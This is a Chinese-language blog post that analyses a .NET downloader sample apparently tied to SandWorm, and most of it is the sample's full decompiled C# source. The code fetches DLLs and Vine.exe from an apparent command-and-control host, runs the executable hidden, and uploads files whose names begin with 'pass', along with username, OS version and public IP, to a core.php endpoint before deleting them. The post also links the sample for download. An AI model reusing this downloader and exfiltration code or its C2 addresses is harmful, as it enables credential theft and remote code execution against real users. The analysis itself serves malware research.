0x1 背景
这几天在做一些小结,除了二进制,也对其他的做点记录,本篇讲C#样本的简单分析.
前几天启明有篇文章讲到了SandWorm样本,漏洞部分也没分析,就跟着文章的描述简单的过了一遍,下载到文章中提到的Down样本.用PEId查壳是 Microsoft Visual C# / Basic .NET,快速的做了分析.
0x2 主角登场
本来该是样本的,但个人感觉dnSpy更牛逼闪闪,话不多说,上图:
注:项目右键:1可以Debug,2可以保存为本地项目(见附件)
ILSpy也可以吧,喜欢的还是他俩.
2.1样本分析
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;
namespace DownloadAndExecute
{
internal class Program
{
private static readonly HttpClient client = new HttpClient();
private static bool success = false;
private static int exitCode = 1;
private static void Main(string[] args)
{
Program.DownloadFiles().Wait();
if (Program.success)
{
using (Process process = Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe"),
WindowStyle = ProcessWindowStyle.Hidden,
WorkingDirectory = Path.GetDirectoryName(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe")),
CreateNoWindow = true
}))
{
process.WaitForExit();
Program.exitCode = process.ExitCode;
}
}
if (Program.exitCode == 0)
{
Program.UploadFiles().Wait();
}
}
private static async Task UploadFiles()
{
try
{
int num;
FileInfo[] array;
int num2;
if (num > 2)
{
FileInfo[] files = new DirectoryInfo(Path.Combine(new string[]
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
})).GetFiles();
array = files;
num2 = 0;
goto IL_28A;
}
IL_70:
FileInfo fileInfo;
try
{
string value = File.ReadAllText(fileInfo.FullName);
string value2 = await Program.GetExternalIPAddress();
FormUrlEncodedContent content = new FormUrlEncodedContent(new Dictionary<string, string>
{
{
"data",
"data"
},
{
"username",
Environment.UserName
},
{
"os_version",
Environment.OSVersion.VersionString
},
{
"file_path",
fileInfo.Name
},
{
"public_ip",
value2
},
{
"file_content",
value
}
});
if (await(await Program.client.PostAsync("http://www.ictcoe.org.et/plugins/system/legacy/core.php", content)).Content.ReadAsStringAsync() == fileInfo.Name)
{
fileInfo.Delete();
}
value = null;
}
catch (Exception)
{
}
IL_275:
fileInfo = null;
num2++;
IL_28A:
if (num2 >= array.Length)
{
array = null;
}
else
{
fileInfo = array[num2];
if (fileInfo.Name.StartsWith("pass"))
{
goto IL_70;
}
goto IL_275;
}
}
catch (Exception)
{
}
}
private static async Task<string> GetExternalIPAddress()
{
string result;
try
{
result = (await(await Program.client.GetAsync("http://checkip.dyndns.org")).Content.ReadAsStringAsync()).Split(new char[]
{
':'
})[1].Substring(1).Split(new char[]
{
'<'
})[0];
}
catch (Exception)
{
result = "";
}
return result;
}
private static async Task DownloadFiles()
{
try
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Newtonsoft.Json.dll");
FileInfo fileInfo = new FileInfo(text);
if (!fileInfo.Exists)
{
byte[] buffer = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/Newtonsoft.Json.dll")).Content.ReadAsByteArrayAsync();
BinaryWriter expr_144 = new BinaryWriter(new FileStream(text, FileMode.Create));
expr_144.Write(buffer);
expr_144.Close();
}
fileInfo = new FileInfo(text);
Console.WriteLine("Newton soft json dll length is: " + fileInfo.Length);
string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "System.Data.SQLite.DLL");
FileInfo fileInfo2 = new FileInfo(text2);
if (!fileInfo2.Exists)
{
byte[] var_7_27E = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/System.Data.SQLite.DLL")).Content.ReadAsByteArrayAsync();
BinaryWriter expr_291 = new BinaryWriter(new FileStream(text2, FileMode.Create));
expr_291.Write(var_7_27E);
expr_291.Close();
}
fileInfo2 = new FileInfo(text2);
Console.WriteLine("Sqlite dll length is: " + fileInfo2.Length);
string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe");
FileInfo fileInfo3 = new FileInfo(text3);
if (!fileInfo3.Exists)
{
byte[] var_8_3CB = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/Vine.exe")).Content.ReadAsByteArrayAsync();
BinaryWriter expr_3DE = new BinaryWriter(new FileStream(text3, FileMode.Create));
expr_3DE.Write(var_8_3CB);
expr_3DE.Close();
}
fileInfo3 = new FileInfo(text3);
Console.WriteLine("Vine exe length is: " + fileInfo3.Length);
Program.success = true;
text = null;
text2 = null;
text3 = null;
}
catch (Exception)
{
}
}
}
}
0x3 Sample
Sample-请确认样本只用于测试才下载,其他的我可不负-密码国际惯例